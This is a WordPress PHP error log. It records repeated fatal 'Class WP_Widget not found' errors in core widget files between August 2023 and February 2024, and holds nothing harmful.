[02-Aug-2023 14:19:39 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Aug-2023 03:10:37 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Aug-2023 23:20:51 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Aug-2023 22:15:53 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Aug-2023 03:15:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Aug-2023 18:31:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Aug-2023 19:41:07 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Aug-2023 01:39:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Aug-2023 22:15:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Aug-2023 15:52:53 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Aug-2023 08:53:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Aug-2023 20:06:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Aug-2023 12:48:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Aug-2023 13:00:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Aug-2023 14:06:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Aug-2023 16:13:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Aug-2023 14:09:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Aug-2023 05:13:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Aug-2023 02:19:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Aug-2023 15:02:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Aug-2023 18:50:01 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Aug-2023 11:08:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Aug-2023 07:56:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[23-Aug-2023 07:25:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Aug-2023 10:50:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Aug-2023 14:59:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Aug-2023 06:57:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Aug-2023 22:04:03 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Aug-2023 04:27:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Aug-2023 12:33:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Aug-2023 03:30:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Aug-2023 09:33:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Aug-2023 10:20:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Aug-2023 18:21:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Aug-2023 21:40:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Sep-2023 06:26:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Sep-2023 11:47:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Sep-2023 12:09:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Sep-2023 16:26:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Sep-2023 01:55:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Nov-2023 04:34:30 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Nov-2023 00:11:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Nov-2023 07:26:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Nov-2023 02:38:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Nov-2023 06:20:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Nov-2023 19:40:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[19-Nov-2023 19:40:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-archives.php on line 17
[19-Nov-2023 19:40:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Nov-2023 19:40:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[19-Nov-2023 19:40:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-categories.php on line 17
[19-Nov-2023 19:40:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[19-Nov-2023 19:40:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-links.php on line 17
[19-Nov-2023 19:40:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[19-Nov-2023 19:40:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[19-Nov-2023 19:40:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[19-Nov-2023 19:40:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[19-Nov-2023 19:40:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-media.php on line 17
[19-Nov-2023 19:40:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-meta.php on line 19
[19-Nov-2023 19:40:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-pages.php on line 17
[19-Nov-2023 19:40:23 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[19-Nov-2023 19:40:23 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[19-Nov-2023 19:40:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-rss.php on line 17
[19-Nov-2023 19:40:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-search.php on line 17
[19-Nov-2023 19:40:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
[19-Nov-2023 19:40:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-text.php on line 17
[24-Nov-2023 10:30:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Nov-2023 04:10:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Nov-2023 19:57:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Dec-2023 02:16:07 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Dec-2023 10:15:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Dec-2023 11:20:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Dec-2023 11:36:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Dec-2023 15:58:37 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Dec-2023 06:35:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Dec-2023 03:03:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Dec-2023 11:31:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Dec-2023 13:00:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Dec-2023 16:46:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Dec-2023 20:40:43 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Dec-2023 23:47:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Dec-2023 14:38:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Dec-2023 21:34:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Dec-2023 18:11:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Jan-2024 02:20:52 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jan-2024 05:08:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jan-2024 23:44:52 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Jan-2024 00:36:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Jan-2024 11:21:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Jan-2024 14:15:51 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[23-Jan-2024 18:50:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jan-2024 10:38:26 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Jan-2024 00:24:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Feb-2024 09:31:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Feb-2024 09:58:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Feb-2024 17:06:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Feb-2024 21:57:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Feb-2024 14:55:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[23-Feb-2024 12:52:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Feb-2024 15:39:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
